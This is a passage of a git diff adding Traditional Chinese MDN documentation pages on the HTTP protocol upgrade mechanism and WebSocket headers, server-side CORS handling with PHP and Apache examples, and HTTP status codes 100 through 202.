協議升級請求總是由客戶端發起的；暫時沒有服務端請求協議更改的機制。當客戶端試圖升級到一個新的協議時，可以先發送一個普通的請求（{{HTTPMethod("GET")}}，{{HTTPMethod("POST")}}等），不過這個請求需要進行特殊配置以包含升級請求。<br> + Upgrade 請求看起來就像：</p> + +<pre>GET /index.html HTTP/1.1 +Host: www.example.com +Connection: upgrade +Upgrade: example/1, foo/2 +</pre> + +<p><br> + 根據之前的請求的協議，可能需要其他頭部信息，例如：從HTTP/1.1升級到WebSocket 允許配置有關 WebSocket 連接的頭部詳細信息，以及在連接時提供一定程度的安全性。查看 {{anch("Upgrading to a WebSocket connection")}} 獲取更多信息。</p> + +<p>如果服務器決定升級這次連接，就會返回一個 {{HTTPStatus(101, "101 Switching Protocols")}} 響應狀態碼，和一個要切換到的協議的頭部字段Upgrade。 如果服務器沒有（或者不能）升級這次連接，它會忽略客戶端發送的 "Upgrade 頭部字段，返回一個常規的響應：例如一個{{HTTPStatus(200, "200 OK")}}).</p> + +<p>服務在發送 101 狀態碼之後，就可以使用新的協議，並可以根據需要執行任何其他協議指定的握手。實際上，一旦這次升級完成了，連接就變成了雙向管道。並且可以通過新協議完成啟動升級的請求。</p> + +<h2 id="Common_uses_for_this_mechanism">Common uses for this mechanism</h2> + +<p>Here we look at the most common use cases for the {{HTTPHeader("Upgrade")}} header.</p> + +<h3 id="Upgrading_to_a_WebSocket_connection">Upgrading to a WebSocket connection</h3> + +<p>By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the <a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a>, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:</p> + +<pre class="brush: js">webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");</pre> + +<p>The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.</p> + +<div class="note"> +<p>You can also use the <code>"wss://"</code> URL scheme to open a secure WebSocket connection.</p> +</div> + +<p>If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:</p> + +<pre>Connection: Upgrade +Upgrade: websocket</pre> + +<h3 id="WebSocket-specific_headers">WebSocket-specific headers</h3> + +<p>The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.</p> + +<h4 id="HTTPHeaderSec-WebSocket-Extensions">{{HTTPHeader("Sec-WebSocket-Extensions")}}</h4> + +<p>Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one <code>Sec-WebSocket-Extension</code> header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.</p> + +<pre class="syntaxbox">Sec-WebSocket-Extensions: <var>extensions</var></pre> + +<dl> + <dt><code><var>extensions</var></code></dt> + <dd>A comma-separated list of extensions to request (or agree to support). These should be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#extension-name">IANA WebSocket Extension Name Registry</a>. Extensions which take parameters do so by using semicolon delineation.</dd> +</dl> + +<p>For example:</p> + +<pre>Sec-WebSocket-Extensions: superspeed, colormode; depth=16</pre> + +<h4 id="HTTPHeaderSec-WebSocket-Key">{{HTTPHeader("Sec-WebSocket-Key")}}</h4> + +<p>Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this <em>does not provide security</em>. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."</p> + +<p>This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.</p> + +<pre class="syntaxbox">Sec-WebSocket-Key: <var>key</var></pre> + +<dl> + <dt><code><var>key</var></code></dt> + <dd>The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you.</dd> +</dl> + +<p>The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified <code><var>key</var></code>.</p> + +<h4 id="HTTPHeaderSec-WebSocket-Protocol">{{HTTPHeader("Sec-WebSocket-Protocol")}}</h4> + +<p>The <code>Sec-WebSocket-Protocol</code> header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a <code>Sec-WebSocket-Protocol</code> header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.</p> + +<pre class="syntaxbox">Sec-WebSocket-Protocol: <var>subprotocols</var></pre> + +<dl> + <dt><code><var>subprotocols</var></code></dt> + <dd>A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name">IANA WebSocket Subprotocol Name Registry</a> or may be a custom name jointly understood by the client and the server.</dd> +</dl> + +<h4 id="HTTPHeaderSec-WebSocket-Version">{{HTTPHeader("Sec-WebSocket-Version")}}</h4> + +<h5 id="Request_header">Request header</h5> + +<p>Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.</p> + +<pre class="syntaxbox">Sec-WebSocket-Version: <var>version</var></pre> + +<dl> + <dt><code><var>version</var></code></dt> + <dd>The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the <a href="https://www.iana.org/assignments/websocket/websocket.xml#version-number">IANA WebSocket Version Number Registry</a>. The most recent final version of the WebSocket protocol is version 13.</dd> +</dl> + +<h5 id="Response_header">Response header</h5> + +<p>If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a <code>Sec-WebSocket-Version</code> header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no <code>Sec-WebSocket-Version</code> header is included in the response.</p> + +<pre class="syntaxbox">Sec-WebSocket-Version: <var>supportedVersions</var></pre> + +<dl> + <dt><code><var>supportedVersions</var></code></dt> + <dd>A comma-delineated list of the WebSocket protocol versions supported by the server.</dd> +</dl> + +<h3 id="Response-only_headers">Response-only headers</h3> + +<p>The response from the server may include these.</p> + +<h4 id="HTTPHeaderSec-WebSocket-Accept">{{HTTPHeader("Sec-WebSocket-Accept")}}</h4> + +<p>Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.</p> + +<pre class="syntaxbox">Sec-WebSocket-Accept: <var>hash</var></pre> + +<dl> + <dt><code><var>hash</var></code></dt> + <dd>If a {{HTTPHeader("Sec-WebSocket-Key")}} header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> encoded to obtain the value of this property.</dd> +</dl> + +<h2 id="References">References</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> + <li>Specifications and RFCs: + <ul> + <li>{{RFC(7230)}}</li> + <li>{{RFC(6455)}}</li> + <li>{{RFC(7540)}}</li> + </ul> + </li> +</ul> diff --git a/files/zh-tw/web/http/server-side_access_control/index.html b/files/zh-tw/web/http/server-side_access_control/index.html new file mode 100644 index 0000000000..ffa7d7eb0e --- /dev/null +++ b/files/zh-tw/web/http/server-side_access_control/index.html @@ -0,0 +1,212 @@ +--- +title: 伺服器端存取控制（CORS） +slug: Web/HTTP/Server-Side_Access_Control +translation_of: Web/HTTP/CORS +--- +<p>存取控制系統是執行<a href="http://searchsoftwarequality.techtarget.com/definition/authorization">授權</a>識別、<a href="http://searchsecurity.techtarget.com/definition/authentication">認證</a>、存取核可的實體，也負責透過登入來進行驗證，包含<a href="http://searchsecurity.techtarget.com/definition/password">密碼</a>、個人身份識別碼（personal identification numbers，PINs）、<a href="http://searchsecurity.techtarget.com/definition/biometrics">生物辨識</a>掃描，以及物理或電子的金鑰。</p> + +<p>存取控制是用於規範計算環境之資源可供哪些人或單位觀看、使用的一種安全技術。</p> + +<p>{{HTTPSidebar}}</p> + +<p>瀏覽器透過 {{domxref("XMLHttpRequest")}} 或 <a href="/zh-TW/docs/Web/API/Fetch_API">Fetch API</a> 所發起的跨網域請求（cross-site request），會在寄送時使用特定的 <a href="/zh-TW/docs/Web/HTTP/Headers">HTTP 標頭</a>。同樣的，由伺服器回傳的跨網域回應（cross-site response）中也能看到特定的 HTTP 標頭。關於這些特定標頭的簡介，包括使用 JavaScript 發起請求與處理來自伺服器回應的範例以及每一個標頭的討論，<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS">可以在 HTTP 存取控制（CORS）一文中找到</a>，並應該搭配本文一起閱讀。這篇文章包含使用 PHP 處理<strong>存取控制請求</strong>與建立<strong>存取控制回應</strong>。本文的目標讀者為伺服器端程式設計師或管理員。僅管本篇範例使用的是 PHP，但類似的概念也適用於 ASP.net、Perl、Python、Java 等等其他語言；一般來說，這些概念也能套用在任何處理 HTTP 請求及動態建立 HTTP 回應的伺服器端程式環境中。</p> + +<h2 id="HTTP_標頭討論">HTTP 標頭討論</h2> + +<p>討論到<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS">同時涵蓋客戶端及伺服器端使用的 HTTP 標頭的文章在此</a>，建議先閱讀該篇文章。</p> + +<h2 id="可執行的程式碼範例">可執行的程式碼範例</h2> + +<p>隨後章節的 PHP 程式碼片段（以及 JavaScript 呼叫伺服器）可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡</a>取得。這些程式在實作了跨網域 {{domxref("XMLHttpRequest")}} 的瀏覽器中都可以運作。</p> + +<h2 id="簡單跨網域請求">簡單跨網域請求</h2> + +<p><a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單存取控制請求</a>會在以下情況下被建立發起：</p> + +<ul> + <li>一個 HTTP/1.1 {{HTTPMethod("GET")}} 或 {{HTTPMethod("POST")}} 方法送出之請求。若為 POST，則該請求之 {{HTTPHeader("Content-Type")}} 標頭值須為 <code>application/x-www-form-urlencoded</code>、<code>multipart/form-data</code> 或 <code>text/plain</code> 其中之一。</li> + <li>HTTP 請求中沒有使用自定義的標頭（如 <code>X-Modified</code> 等等）。</li> +</ul> + +<p>在此情況下，回傳回應需要考慮以下條件：</p> + +<ul> + <li>如果該資源是允許被任何人存取的（就像所有透過 GET 方法存取的 HTTP 資源），則只要回傳帶有 {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: *</code> 標頭值的回應即可。<strong>除非</strong>資源需要身分驗證（credentials），如 <a href="/zh-TW/docs/Web/HTTP/Cookies">Cookies</a> 與 HTTP 認證（Authentication）資訊。</li> + <li>如果資源應該要限制請求者的網域（domain），<strong>或是</strong>假如資源需要身分驗證（credentials）來進行存取（或是要設定驗證）。則篩選請求的 {{HTTPHeader("Origin")}} 標頭就可能是必要的，或至少呼應請求者的 <code>Origin</code> 標頭值（例如 {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code>）。另外，將會發送 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭，在<a class="internal" href="#身分憑證請求">下面的章節</a>會進行討論。</li> +</ul> + +<p>在 HTTP 存取控制（CORS）一文的<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單存取控制請求</a>章節示範了客戶端與伺服器端之間標頭的交流。下面是一個處理簡單請求的 PHP 程式碼片段：</p> + +<pre class="brush: php"><?php + +// 我們僅授權讓 arunranga.com 網域來存取資源 +// 因為我們認為該網域存取本 application/xml 資源是安全的 + +if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Content-type: application/xml'); + readfile('arunerDotNetResource.xml'); +} else { + header('Content-Type: text/html'); + echo "<html>"; + echo "<head>"; + echo " <title>Another Resource</title>"; + echo "</head>"; + echo "<body>", + "<p>This resource behaves two-fold:"; + echo "<ul>", + "<li>If accessed from <code>http://arunranga.com</code> it returns an XML document</li>"; + echo "<li>If accessed from any other origin including from simply typing in the URL into the browser's address bar,"; + echo "you get this HTML document</li>", + "</ul>", + "</body>", + "</html>"; +} +?> +</pre> + +<p>以上的程式會檢查由瀏覽器所送出之請求的 {{HTTPHeader("Origin")}} 標頭（透過取得 $_SERVER['HTTP_ORIGIN']）是否為「<a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a>」。若相符，則回傳之回應中加入 {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code> 標頭值。這個範例可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡看到執行的情形</a>。</p> + +<h2 id="預檢請求">預檢請求</h2> + +<p><a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">預檢存取控制請求</a>在以下情況下發起：</p> + +<ul> + <li>使用一個 {{HTTPMethod("GET")}} 或 {{HTTPMethod("POST")}} 以外的 HTTP 方法。或是在使用 {{HTTPMethod("POST")}} 方法的情況下，其 {{HTTPHeader("Content-Type")}} 標頭值為 <code>application/x-www-form-urlencoded</code>、<code>multipart/form-data</code> 或 <code>text/plain</code> <strong>以外</strong>的值。例如，假設使用 <code>POST</code> 方法並包含之 <code>Content-Type</code> 標頭值為 <code>application/xml</code>，則此請求便為預檢（preflighted）請求。</li> + <li>一個帶有自定義 HTTP 標頭（如 <code>X-PINGARUNER</code>）的請求。</li> +</ul> + +<p>在 HTTP 存取控制（CORS）一文的<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢請求">預檢存取控制請求</a>章節示範了客戶端與伺服器端之間標頭的交流。一個伺服器資源要回應預檢（preflighted）請求必須能夠進行以下的判斷：</p> + +<ul> + <li>基於 {{HTTPHeader("Origin")}} 的篩選，如果有的話。</li> + <li>回應一個 {{HTTPMethod("OPTIONS")}} 請求（即預檢（preflighted）請求），包含寄送必要的 {{HTTPHeader("Access-Control-Allow-Methods")}}、{{HTTPHeader("Access-Control-Allow-Headers")}} 標頭值（假如有任何應用程式運作所需要的額外標頭），以及若是此資源要求身分驗證，則需要包含 {{HTTPHeader("Access-Control-Allow-Credentials")}} 標頭。</li> + <li>回應實際（actual）請求，包含處理 <code>POST</code> 請求的資料等等。</li> +</ul> + +<p>下面是一個使用 PHP 實作之處理<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢請求">預檢請求</a>的範例：</p> + +<pre class="brush: php"><?php + +if($_SERVER['REQUEST_METHOD'] == "GET") { + + header('Content-Type: text/plain'); + echo "This HTTP resource is designed to handle POSTed XML input"; + echo "from arunranga.com and not be retrieved with GET"; + +} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") { + // 告訴客戶端我們支援來自 arunranga.com 的呼叫 + // 以及這個預檢請求的有效期限僅有 20 天 + + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); + header('Access-Control-Allow-Headers: X-PINGARUNER'); + header('Access-Control-Max-Age: 1728000'); + header("Content-Length: 0"); + header("Content-Type: text/plain"); + //exit(0); + } else { + header("HTTP/1.1 403 Access Forbidden"); + header("Content-Type: text/plain"); + echo "You cannot repeat this request"; + } + +} elseif($_SERVER['REQUEST_METHOD'] == "POST") { + // 處理 POST 請求，第一步為取得 POST 請求中 blob 型態的 XML + // 並且對其做一些處理，再傳送結果給客戶端 + + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + $postData = file_get_contents('php://input'); + $document = simplexml_load_string($postData); + + // 對 POST 請求的資料做一些處理 + + $ping = $_SERVER['HTTP_X_PINGARUNER']; + + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Content-Type: text/plain'); + echo // 在處理之後要回傳的一些回應字串 + } else { + die("POSTing Only Allowed from arunranga.com"); + } +} else { + die("No Other Methods Allowed"); +} +?> +</pre> + +<p>注意範例中在回應 {{HTTPMethod("OPTIONS")}} 預檢（preflighted）請求與回應 {{HTTPMethod("POST")}} 請求時都會回傳相對應的 HTTP 標頭值，因此一個伺服器資源可以處理預檢以及實際（actual）請求。在回應 <code>OPTIONS</code> 預檢請求之回應標頭中，伺服器告知客戶端可以使用 <code>POST</code> 方法發送實際（actual）請求，並且能於實際（actual）請求的 HTTP 標頭欄位中帶上 <code>X-PINGARUNER</code> 及其值。這個範例可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡看到執行的情形</a>。</p> + +<h2 id="身分驗證請求">身分驗證請求</h2> + +<p><a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#附帶身分憑證的請求">身分驗證存取控制請求</a>——即請求可以附帶 <a href="/zh-TW/docs/Web/HTTP/Cookies">Cookies</a> 或 HTTP 認證（Authentication）訊息（並期望回應攜帶 Cookies）——可以是<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單</a>或<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢">預檢請求</a>，根據請求使用之 HTTP 方法而定。</p> + +<p>於<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#簡單請求">簡單請求</a>情境中，請求將會連同 Cookies 一起發送（例如當 <code><a href="/zh-TW/docs/Web/API/XMLHttpRequest/withCredentials">withCredentials</a></code> 旗標被設置於 {{domxref("XMLHttpRequest")}} 時）。假如伺服器以附帶了 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭值的身分驗證回應來回傳，則回應會被客戶端接受並且可被用於網頁內容中。在<a class="internal" href="/zh-TW/docs/Web/HTTP/Access_control_CORS#預檢請求">預檢請求</a>中，伺服器可以用 <code>Access-Control-Allow-Credentials: true</code> 標頭來回應 <code>OPTIONS</code> 預檢請求。</p> + +<p>以下為一些處理身分驗證請求的 PHP 程式片段：</p> + +<pre class="brush: php"><?php + +if($_SERVER['REQUEST_METHOD'] == "GET") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Credentials: true'); + header('Cache-Control: no-cache'); + header('Pragma: no-cache'); + header('Content-Type: text/plain'); + + // 檢查有沒有 Cookie，若沒有則當作是第一次訪問 + if (!isset($_COOKIE["pageAccess"])) { + setcookie("pageAccess", 1, time()+2592000); + echo 'I do not know you or anyone like you so I am going to'; + echo 'mark you with a Cookie :-)'; + } else { + $accesses = $_COOKIE['pageAccess']; + setcookie('pageAccess', ++$accesses, time()+2592000); + echo 'Hello -- I know you or something a lot like you!'; + echo 'You have been to ', $_SERVER['SERVER_NAME'], '; + echo 'at least ', $accesses-1, ' time(s) before!'; + } +} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") { + // 告訴客戶端這個預檢請求的有效期限僅有 20 天 + if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") { + header('Access-Control-Allow-Origin: http://arunranga.com'); + header('Access-Control-Allow-Methods: GET, OPTIONS'); + header('Access-Control-Allow-Credentials: true'); + header('Access-Control-Max-Age: 1728000'); + header("Content-Length: 0"); + header("Content-Type: text/plain"); + } else { + header("HTTP/1.1 403 Access Forbidden"); + header("Content-Type: text/plain"); + echo "You cannot repeat this request"; + } +} else { + die("This HTTP Resource can ONLY be accessed with GET or OPTIONS"); +} +?> +</pre> + +<p>注意此範例中的身分驗證請求，其中的 <code>Access-Control-Allow-Origin:</code> 標頭值<strong>不得</strong>是萬用字元（wildcard）「*」。此標頭值<strong>必須</strong>為一個有效的的來源網域（origin domain）。以上的範例可以在<a class="external" href="http://arunranga.com/examples/access-control/">這裡看到執行的情形</a>。</p> + +<h2 id="Apache_範例">Apache 範例</h2> + +<h3 id="限制存取某些_URI">限制存取某些 URI</h3> + +<p>一個實用的訣竅是使用 Apache rewrite 環境變數（environment variable），並且讓 HTTP 標頭套用 <code>Access-Control-Allow-*</code> 至某些 URI。這相當有用，例如要限制跨來源（cross-origin）請求 <code>GET /api(.*).json</code> 為不帶身分驗證的請求：</p> + +<pre>RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True] +Header set Access-Control-Allow-Origin "*" env=CORS +Header set Access-Control-Allow-Methods "GET" env=CORS +Header set Access-Control-Allow-Credentials "false" env=CORS +</pre> + +<h2 id="參見">參見</h2> + +<ul> + <li><a class="external" href="http://arunranga.com/examples/access-control/">Examples of Access Control in Action</a></li> + <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li> + <li><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Access Control covering the HTTP headers</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> +</ul> diff --git a/files/zh-tw/web/http/status/100/index.html b/files/zh-tw/web/http/status/100/index.html new file mode 100644 index 0000000000..79fb0c9bfd --- /dev/null +++ b/files/zh-tw/web/http/status/100/index.html @@ -0,0 +1,42 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +translation_of: Web/HTTP/Status/100 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>100 Continue</code></strong> 訊息狀態回應碼表示，目前為止的一切完好，用戶端應該繼續完成請求，或當請求已經完成的狀態下應忽略此訊息。</p> + +<p>若要使伺服器確認請求標頭，用戶端必須在最初請求的標頭中，傳送{{HTTPHeader("Expect")}}<code>: 100-continue</code> ，並且在傳送主體前，接收 <code>100 Continue</code> 狀態碼。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">100 Continue</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "100 Continue" , "6.2.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.100")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> + <li>{{HTTPStatus(417)}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/101/index.html b/files/zh-tw/web/http/status/101/index.html new file mode 100644 index 0000000000..f801edfd37 --- /dev/null +++ b/files/zh-tw/web/http/status/101/index.html @@ -0,0 +1,46 @@ +--- +title: 101 Switching Protocols +slug: Web/HTTP/Status/101 +translation_of: Web/HTTP/Status/101 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>101 Switching Protocols</strong></code> 回應碼表示伺服器正在切換到用戶端在請求標頭{{HTTPHeader("Upgrade")}} 中所要求的通訊協定。</p> + +<p>伺服端將在回應中包含 {{HTTPHeader("Upgrade")}} 標頭以表明其所切換的通訊協定。此過程在文章 <a href="/zh-TW/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a> 中有更加詳細的描述。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">101 Switching Protocols</pre> + +<h2 id="範例">範例</h2> + +<p>通訊協定切換可能會用於 <a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a> 中。</p> + +<pre>HTTP/1.1 101 Switching Protocols +Upgrade: websocket +Connection: Upgrade</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism">Protocol upgrade mechanism</a></li> + <li><a href="/en-US/docs/Web/API/WebSockets_API">WebSockets</a></li> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("426")}} <code>Upgrade Required</code></li> +</ul> diff --git a/files/zh-tw/web/http/status/200/index.html b/files/zh-tw/web/http/status/200/index.html new file mode 100644 index 0000000000..f9b94fd6df --- /dev/null +++ b/files/zh-tw/web/http/status/200/index.html @@ -0,0 +1,50 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +translation_of: Web/HTTP/Status/200 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>200 OK</code></strong> 成功狀態碼表明請求成功。200 回應預設上是緩存的（cacheable）。</p> + +<p>所謂「成功」的定義，取決於 HTTP 的請求方法：</p> + +<ul> + <li>{{HTTPMethod("GET")}}：資源已取得，並傳送到訊息內文（message body）。</li> + <li>{{HTTPMethod("HEAD")}}：整個標已經放在訊息內文了。</li> + <li>{{HTTPMethod("POST")}}: 描述動作結果的資源已經傳送到訊息內文。</li> + <li>{{HTTPMethod("TRACE")}}：訊息內文包含了請求訊息，伺服器也接受了請求。</li> +</ul> + +<p>{{HTTPMethod("PUT")}} 或 {{HTTPMethod("DELETE")}} 的成功訊息，通常不是 <code>200 OK</code>，而是 {{HTTPStatus("204")}} <code>No Content</code>（或著在資源首次上傳時，{{HTTPStatus("201")}} <code>Created</code>）。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">200 OK</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "200 OK" , "6.3.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.200")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/zh-TW/docs/Web/HTTP/Methods">HTTP 請求方法</a></li> +</ul> diff --git a/files/zh-tw/web/http/status/201/index.html b/files/zh-tw/web/http/status/201/index.html new file mode 100644 index 0000000000..1da5ec6edd --- /dev/null +++ b/files/zh-tw/web/http/status/201/index.html @@ -0,0 +1,43 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +translation_of: Web/HTTP/Status/201 +--- +<p>HTTP <strong><code>201 Created</code></strong> 成功狀態碼表示請求成功且有一個新的資源已經依據需要而被建立。實際上，在此回應傳送前，新資源就已被建立，且其內容在訊息的主體中傳回，其位置為請求的 URL 或是 {{HTTPHeader("Location")}} 標頭的內容。</p> + +<p>此狀態碼通常用於 {{HTTPMethod("POST")}} 請求的回應中。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">201 Created</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "201 Created" , "6.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.201")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/zh-TW/docs/Web/HTTP/Methods">HTTP 請求方法</a></li> +</ul> + +<div>{{HTTPSidebar}}</div> diff --git a/files/zh-tw/web/http/status/202/index.html b/files/zh-tw/web/http/status/202/index.html new file mode 100644 index 0000000000..04221bbebd --- /dev/null +++ b/files/zh-tw/web/http/status/202/index.html @@ -0,0 +1,33 @@ +--- +title: 202 Accepted +slug: Web/HTTP/Status/202 +translation_of: Web/HTTP/Status/202 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>202 Accepted</strong></code> 成功狀態碼表示此請求已經被接受但尚未處理。此狀態為非承諾性，代表 HTTP 無法在之後傳送一個非同步的回應告知請求的處理結果。最初<span class="tlid-translation translation" lang="zh-TW"><span title="">目的為外部程序或其他伺服器處理</span></span>請求的情況，或用於批次處理中。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">202 Accepted</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/203/index.html b/files/zh-tw/web/http/status/203/index.html new file mode 100644 index 0000000000..66e3df7022 --- /dev/null +++ 